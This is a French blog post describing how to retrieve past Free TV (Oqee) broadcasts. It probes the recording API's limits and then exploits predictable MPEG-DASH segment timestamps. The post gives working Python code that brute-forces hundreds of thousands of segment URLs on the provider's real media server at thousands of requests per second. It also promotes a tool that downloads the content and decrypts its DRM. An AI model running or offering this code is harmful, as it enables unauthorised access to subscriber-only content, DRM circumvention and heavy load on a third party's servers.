Free TV, anciennement connu sous le nom d’Oqee TV by Free, est désormais accessible à tous gratuitement. La plateforme propose plus de 170 chaînes de télévision en direct et une vaste bibliothèque de VOD. Cependant, les enregistrements et les replays restent exclusifs aux abonnés Freebox, avec des enregistrements limités à 100 heures et nécessitant une programmation à l’avance.

Mais voici la partie intéressante : avec un peu d’exploration technique, il est possible de récupérer du contenu passé en exploitant la façon dont Free diffuse la vidéo via les manifestes MPEG-DASH. Dans cet article, je vais démontrer comment bruteforcer les timestamps pour accéder au contenu historique et expliquer pourquoi cela fonctionne.

L’impasse de l’API

Mon premier réflexe a été d’explorer l’endpoint API records, peut-être que les restrictions n’étaient que des limitations d’interface qui pourraient être contournées avec des appels API directs.

Testons les limites avec un peu de Python :

import requests
import time

headers = {
    'authorization': 'Bearer JWT',
    'x-fbx-rights-token': 'TOKEN',
    'x-oqee-profile': 'PROFILE_ID',
}

# Test 1 : Tentative d'enregistrement d'un contenu déjà diffusé
start = int(time.time()) - 60  # Il y a 1 minute
end = start + 60 * 60  # Durée de 1 heure

data = {
    "channel_id": 536,
    "start": start,
    "end": end,
    "margin_before": 0,
    "margin_after": 0
}

response = requests.post(
    'https://api.oqee.net/api/v4/user/npvr/records',
    headers=headers,
    json=data
)

print(response.json())

Réponse :

{
  "error": {
    "code": "start_in_past",
    "msg": "start in the past"
  },
  "success": false
}

L’API rejette explicitement tout enregistrement avec une heure de début dans le passé..

Qu’en est-il de la durée maximale d’enregistrement de 4 heures ?

# Test 2 : Dépassement de la durée maximale d'enregistrement
start = int(time.time())
end = start + 60 * 60 * 5  # Durée de 5 heures

data["start"] = start
data["end"] = end

Réponse :

{
  "error": {
    "code": "record_too_long",
    "msg": "recording maximum duration is 4 hours"
  },
  "success": false
}

Limite stricte confirmée à 4 heures..

Les marges d’enregistrement (temps tampon avant et après) sont également strictement contrôlées. Fait intéressant, ces options de marge n’apparaissent plus dans l’interface, mais l’API les valide toujours :

# Test 3 : Dépassement des limites de marge
start = int(time.time())
end = start + 60 * 60 * 2  # Durée de 2 heures

margin_before = int(60 * 60 * 1.01)  # 1h 36s (juste au-dessus de la limite d'1 heure)
margin_after = 60 * 60 * 1  # 1 heure

data["start"] = start
data["end"] = end
data["margin_before"] = margin_before
data["margin_after"] = margin_after

Réponse :

{
  "error": {
    "code": "invalid_request",
    "msg": "Invalid request {'margin_before': ['max_value']}"
  },
  "success": false
}

Même dépasser la marge de quelques secondes déclenche des erreurs de validation. Les marges sont plafonnées à 1 heure chacune.

Les tests de l’API ont révélé plusieurs contraintes strictes :

  • Je ne peux pas programmer d’enregistrements dans le passé
  • La durée maximale d’enregistrement : 4 heures
  • La marge maximale avant/après : 1 heure chacune
  • La validation côté serveur ne peut pas être contournée

Puisque l’API d’enregistrement est une impasse, nous avons besoin d’une approche différente. C’est là que la compréhension du protocole de streaming devient cruciale.

Comprendre les manifestes MPEG-DASH

Lorsque vous demandez un flux vidéo, le lecteur récupère un manifeste MPEG-DASH, un fichier XML qui décrit comment accéder aux segments vidéo. Voici un exemple simplifié :

<?xml version="1.0" encoding="UTF-8"?>
<MPD xmlns="urn:mpeg:dash:schema:mpd:2011" type="dynamic" 
    availabilityStartTime="1970-01-01T00:00:00Z">
  <Period id="0" start="PT0S">
    <AdaptationSet id="0" contentType="video">
      <Representation id="video_720p" 
                      bandwidth="3000000" 
                      codecs="avc1.64001f" 
                      mimeType="video/mp4" 
                      width="1280" 
                      height="720">
        <SegmentTemplate 
          timescale="90000"
          initialization="https://media.example.com/video_init" 
          media="https://media.example.com/video_$Time$">
          <SegmentTimeline>
            <S t="158967438326280" d="288000" r="4501"/>
          </SegmentTimeline>
        </SegmentTemplate>
      </Representation>
    </AdaptationSet>
  </Period>
</MPD>

Décodons la ligne critique : <S t="158967438326280" d="288000" r="4501"/>

  • t (time) : Timestamp de départ en ticks (unités de timescale) : 158967438326280
  • d (duration) : Durée de chaque segment en ticks : 288000
  • r (repeat) : Nombre de fois que ce motif se répète : 4501
  • timescale : Ticks par seconde : 90000

Convertir les ticks en temps réel

Avec un timescale de 90000 ticks par seconde :

  • Durée de chaque segment : 288000 / 90000 = 3,2 secondes
  • Chaque tick représente : 1 / 90000 ≈ 0,000011 secondes

Le modèle d’URL https://media.example.com/video_$Time$ génère les URLs de segments réels en remplaçant $Time$ par la valeur du tick :

https://media.example.com/video_158967438326280
https://media.example.com/video_158967438614280  (+ 288000 ticks)
https://media.example.com/video_158967438902280  (+ 288000 ticks)

La vulnérabilité : timing prévisible

Voici l’élément crucial : si vous connaissez un timestamp valide, vous pouvez calculer N’IMPORTE quel autre timestamp car les segments sont espacés à des intervalles fixes et prévisibles.

Étant donné une URL de segment connue comme https://media.example.com/video_158967438326280 :

Pour accéder au contenu passé :

Il y a 1 heure = base_tick - (3600 secondes × 90000 ticks/sec ÷ 288000 par segment) × 288000
               = base_tick - (1125 × 288000)

Pour accéder au contenu futur :

Dans 3 heures = base_tick + (3 × 1125 × 288000)

L’espacement des segments est complètement déterministe, pas de randomisation, pas de tokens d’authentification, juste de l’arithmétique.

Le principal obstacle est d’obtenir ce timestamp valide initial. Les manifestes changent quotidiennement, donc bien qu’accéder au contenu plus tôt dans la journée actuelle soit simple (vous pouvez utiliser le timestamp actuel du manifeste), remonter plus loin nécessite de connaître une valeur de tick historique.

Résolvons cela avec le bruteforce.

Construire la boîte à outils de conversion temporelle

D’abord, j’ai créé des fonctions d’aide pour convertir entre ticks et temps lisible :

import datetime

def convert_ticks_to_sec(ticks, timescale):
    """Convertir les ticks en secondes."""
    return ticks / timescale

def convert_sec_to_ticks(seconds, timescale):
    """Convertir les secondes en ticks."""
    return seconds * timescale

def convert_sec_to_date(seconds, offset_hours=1):
    """Convertir les secondes en datetime avec décalage UTC."""
    dt = datetime.datetime.utcfromtimestamp(seconds) + datetime.timedelta(
        hours=offset_hours
    )
    return dt

def convert_date_to_sec(dt, offset_hours=1):
    """Convertir datetime en secondes avec décalage UTC."""
    epoch = datetime.datetime(1970, 1, 1)
    utc_dt = dt - datetime.timedelta(hours=offset_hours)
    return (utc_dt - epoch).total_seconds()

def convert_date_to_ticks(dt, timescale, offset_hours=1):
    """Convertir datetime en ticks avec décalage UTC."""
    return int(round(convert_date_to_sec(dt, offset_hours) * timescale))

Calculer le segment le plus proche

Une fois que vous avez un tick de base valide, cette fonction calcule le segment le plus proche de n’importe quel moment cible :

def find_nearest_tick_by_hour(base_tick, dt, timescale, duration, offset_hours=1):
    """Trouver le tick le plus proche pour une datetime donnée."""
    target_ticks = convert_date_to_ticks(dt, timescale, offset_hours)
    diff_ticks = base_tick - target_ticks
    rep_estimate = diff_ticks / duration
    
    if rep_estimate < 0:
        # La cible est dans le futur par rapport à la base
        rep = int(round(abs(rep_estimate)))
        nearest_tick = base_tick + rep * duration
    else:
        # La cible est dans le passé par rapport à la base
        rep = int(round(rep_estimate))
        nearest_tick = base_tick - rep * duration
    
    return nearest_tick, rep
# Trouver du contenu d'il y a 2 heures
past_time = datetime.datetime.now() - datetime.timedelta(hours=2)
tick, rep = find_nearest_tick_by_hour(
    base_tick=158967438326280,
    dt=past_time,
    timescale=90000,
    duration=288000
)
# Résultat : tick = 158968350998280, rep = 3169
# URL : https://media.example.com/video_158968350998280

L’approche bruteforce

Mais que faire si vous n’avez pas de tick valide pour commencer ? C’est là qu’intervient la garantie mathématique : comme les segments se produisent tous les 288000 ticks, au moins un segment valide DOIT exister dans n’importe quelle fenêtre de 288000 ticks.

Cela signifie que nous pouvons bruteforcer notre chemin vers un timestamp valide en testant jusqu’à 288000 valeurs de tick séquentielles.

Implémenter un bruteforce efficace

Étant donné l’échelle des requêtes nécessaires (potentiellement 288000, 144000 en moyenne), j’ai utilisé asyncio et aiohttp pour les requêtes concurrentes au lieu d’appels synchrones :

import aiohttp
import asyncio
from tqdm import tqdm

async def fetch_segment(session, ticks, track_id):
    """Récupérer un segment média de manière asynchrone."""
    url = f"https://media.stream.proxad.net/media/{track_id}_{ticks}"
    headers = {
        "Accept": "*/*",
        "Referer": "https://tv.free.fr/",
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    }
    try:
        async with session.get(url, headers=headers, timeout=5) as resp:
            if resp.status == 200:
                return ticks
            return None
    except (aiohttp.ClientError, asyncio.TimeoutError):
        return None

async def bruteforce(track_id, date):
    """Bruteforcer les segments pour trouver des ticks valides."""
    valid_ticks = []
    total_requests = 288000  # Garanti de contenir au moins un segment
    batch_size = 20000  # Traiter par lots pour le suivi de la progression
    
    async with aiohttp.ClientSession() as session:
        for batch_start in range(0, total_requests, batch_size):
            batch_end = min(batch_start + batch_size, total_requests)
            
            tasks = [
                fetch_segment(session, t + date, track_id)
                for t in range(batch_start, batch_end)
            ]
            
            results = []
            for coro in tqdm(
                asyncio.as_completed(tasks),
                total=len(tasks),
                desc="Bruteforce",
                unit="req"
            ):
                result = await coro
                results.append(result)
            
            valid_ticks.extend([r for r in results if r is not None])
            
            if valid_ticks:
                print(f"{len(valid_ticks)} tick(s) valide(s) trouvé(s), arrêt de la recherche.")
                break
    
    return valid_ticks

J’ai apporté quelques optimisations au processus de bruteforce :

  • Traite 20000 requêtes à la fois pour l’efficacité du threading/mémoire
  • S’arrête dès qu’un tick valide est trouvé
  • Utilise asyncio pour envoyer des milliers de requêtes en parallèle
  • Affiche la progression en temps réel avec tqdm

Exécuter le bruteforce

import asyncio

# Cible : 19 décembre 2025 à 12:00:00
target_date = datetime.datetime.strptime("2025-12-19 12:00:00", "%Y-%m-%d %H:%M:%S")
approximate_ticks = int(convert_sec_to_ticks(
    convert_date_to_sec(target_date), 
    90000
))

# Exécuter le bruteforce
valid_ticks = asyncio.run(bruteforce("0_1_382", approximate_ticks))
print(f"Ticks valides trouvés : {valid_ticks}")

La sortie est la suivante :

Bruteforce: 100%|█████████| 20000/20000 [00:05<00:00, 3560.91req/s]
Bruteforce: 100%|█████████| 20000/20000 [00:05<00:00, 3704.17req/s]
Bruteforce: 100%|█████████| 20000/20000 [00:05<00:00, 3730.00req/s]
1 tick(s) valide(s) trouvé(s), arrêt de la recherche.
Ticks valides trouvés : [158952780040500]

Dans cet exemple, le bruteforce a trouvé un tick valide après avoir vérifié environ 60000 valeurs en environ 15 secondes, soit un taux de ~3600 requêtes par seconde.

Assembler le tout

Une fois que vous avez un tick valide du bruteforce, vous pouvez maintenant accéder à n’importe quel contenu dans la chronologie :

# Obtenir le tick de base du bruteforce
base_tick = valid_ticks[0]  # 158952780040500

# Vous voulez du contenu d'il y a 6 heures ?
six_hours_ago = datetime.datetime.now() - datetime.timedelta(hours=6)
past_tick, _ = find_nearest_tick_by_hour(
    base_tick=base_tick,
    dt=six_hours_ago,
    timescale=90000,
    duration=288000
)

url = f"https://media.stream.proxad.net/media/0_1_382_{past_tick}"
print(f"URL du segment : {url}")

URL du segment : https://media.stream.proxad.net/media/0_1_382_158967224104500

Prochaines étapes : automatisation

L’étape logique suivante consiste à automatiser la procédure complète de récupération vidéo :

  • Bruteforcer pour trouver un tick valide pour la date cible
  • Calculer tous les ticks de segment pour la plage horaire souhaitée
  • Télécharger tous les segments vidéo et audio
  • Déchiffrer les segments (car ils sont protégés par DRM)
  • Concaténer les segments en un fichier vidéo lisible

Pour simplifier ce processus, j’ai créé OqeeRewind, un outil qui automatise l’ensemble de la procédure. Il gère le bruteforce, le téléchargement des segments, le déchiffrement et l’assemblage vidéo, rendant la récupération simple.

Notes diverses

Pistes disponibles sur toutes les chaînes

Chaque chaîne sur Free TV propose le même ensemble de pistes avec des options de qualité variables pour différentes capacités de bande passante et d’appareils.

Pistes vidéo :

RésolutionFPSCodecDébit
384×21625avc1.64000d400 kbps
640×36025avc1.64001e800 kbps
896×50425avc1.64001f1,6 Mbps
1280×72025avc1.64001f3,0 Mbps
896×50450hvc1.1.2.L93.901,6 Mbps
1920×108050hvc1.1.2.L123.904,8 Mbps
1920×108050hvc1.1.2.L123.9014,8 Mbps

Pistes audio :

LangueRôleCodecDébit
framainmp4a.40.2 (AAC-LC)64 kbps
undmainmp4a.40.2 (AAC-LC)64 kbps
fradescriptionmp4a.40.2 (AAC-LC)64 kbps

Pistes de sous-titres :

LangueRôleCodecFormat
fracaptionstppTTML dans MP4
frasubtitlestppTTML dans MP4

Celles-ci ne semblent actuellement pas être remplies de contenu.

Jusqu’où remonte le contenu ?

Pour comprendre la profondeur temporelle du contenu disponible, j’ai examiné le manifeste de TF1 (https://api-proxad.oqee.net/playlist/v1/live/612/1/live.mpd) et bruteforcé les segments les plus anciens accessibles pour chaque piste :

Pistes :

ID RepRésolutionFPS/RôleCodecDébitDate la plus ancienneTick le plus ancien
376framainmp4a.40.2 (AAC-LC)64 kbps2020-09-18144038412002096
377undmainmp4a.40.2 (AAC-LC)64 kbps2020-09-18144038412002096
379384×21625avc1.64000d400 kbps2020-09-18144038412021420
380640×36025avc1.64001e800 kbps2020-09-18144038412021420
381896×50425avc1.64001f1,6 Mbps2020-09-18144038412021420
3821280×72025avc1.64001f3,0 Mbps2020-09-18144038412021420
463fradescriptionmp4a.40.2 (AAC-LC)64 kbps2020-09-18144038412002096
6658896×50450hvc1.1.2.L93.901,6 Mbps2025-12-02158820588030870
66591920×108050hvc1.1.2.L123.904,8 Mbps2025-12-02158820588030870
66611920×108050hvc1.1.2.L123.9014,8 Mbps2025-12-02158820588030870

Il semble que si vous souhaitez accéder à du contenu datant de plus de quelques semaines, vous devez utiliser les pistes AVC. Les pistes HEVC ne fonctionneront pas pour le contenu avant décembre 2025, et peuvent être effacées plus tôt en raison de contraintes de stockage.

J’ai pu récupérer du contenu de TF1 remontant jusqu’en septembre 2020 en utilisant les pistes AVC.

Après quelques tests, j’ai pu télécharger un segment HEVC datant du 14 décembre 2023..

Preuve de concept : récupération de contenu vieux de plusieurs années

Pour valider cette approche, j’ai réussi à récupérer plusieurs diffusions télévisées françaises de grande envergure datant d’il y a plusieurs années :

Essayez OqeeRewind et découvrez quels trésors cachés vous pouvez dénicher dans les archives de Free TV ! N’hésitez pas à mettre une étoile au repo si vous le trouvez utile :)